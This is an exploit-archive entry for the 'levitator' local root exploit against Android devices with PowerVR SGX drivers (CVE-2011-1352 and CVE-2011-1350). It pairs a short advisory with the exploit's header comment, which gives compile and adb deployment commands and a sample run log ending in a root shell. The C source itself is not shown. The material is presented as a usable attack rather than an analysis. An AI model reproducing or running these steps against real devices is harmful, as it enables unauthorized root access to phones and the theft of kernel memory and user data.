Exploit:
// source: https://www.securityfocus.com/bid/57900/info

The PowerVR SGX driver in Android is prone to an information-disclosure vulnerability. 

Successful exploits allows an attacker to gain access to sensitive information. Information obtained may aid in further attacks. 

Android 2.3.5 and prior versions are vulnerable.

 * Android < 2.3.6 PowerVR SGX Privilege Escalation Exploit
 * Jon Larimer <jlarimer@gmail.com>
 * Jon Oberheide <jon@oberheide.org>
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1352
 *
 *   CVE-2011-1352 is a kernel memory corruption vulnerability that can lead 
 *   to privilege escalation. Any user with access to /dev/pvrsrvkm can use 
 *   this bug to obtain root privileges on an affected device.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1350
 *
 *   CVE-2011-1350 allows leaking a portion of kernel memory to user mode 
 *   processes. This vulnerability exists because of improper bounds checking
 *   when returning data to user mode from an ioctl system call.
 *
 * Usage:
 *
 *   $ CC="/path/to/arm-linux-androideabi-gcc"
 *   $ NDK="/path/to/ndk/arch-arm"
 *   $ CFLAGS="-I$NDK/usr/include/"
 *   $ LDFLAGS="-Wl,-rpath-link=$NDK/usr/lib -L$NDK/usr/lib -nostdlib $NDK/usr/lib/crtbegin_dynamic.o -lc"
 *   $ $CC -o levitator levitator.c $CFLAGS $LDFLAGS
 *   $ adb push levitator /data/local/tmp/
 *   $ adb shell
 *   $ cd /data/local/tmp
 *   $ ./levitator
 *   [+] looking for symbols...
 *   [+] resolved symbol commit_creds to 0xc00770dc
 *   [+] resolved symbol prepare_kernel_cred to 0xc0076f64
 *   [+] resolved symbol dev_attr_ro to 0xc05a5834
 *   [+] opening prvsrvkm device...
 *   [+] dumping kernel memory...
 *   [+] searching kmem for dev_attr_ro pointers...
 *   [+] poisoned 16 dev_attr_ro pointers with fake_dev_attr_ro!
 *   [+] clobbering kmem with poisoned pointers...
 *   [+] triggering privesc via block ro sysfs attribute...
 *   [+] restoring original dev_attr_ro pointers...
 *   [+] restored 16 dev_attr_ro pointers!
 *   [+] privileges escalated, enjoy your shell!
 *   # id
 *   uid=0(root) gid=0(root)
 *
 *   Notes:
 *
 *     The vulnerability affects Android devices with the PowerVR SGX chipset
 *     which includes popular models like the Nexus S and Galaxy S series. The 
 *     vulnerability was patched in the Android 2.3.6 OTA update.
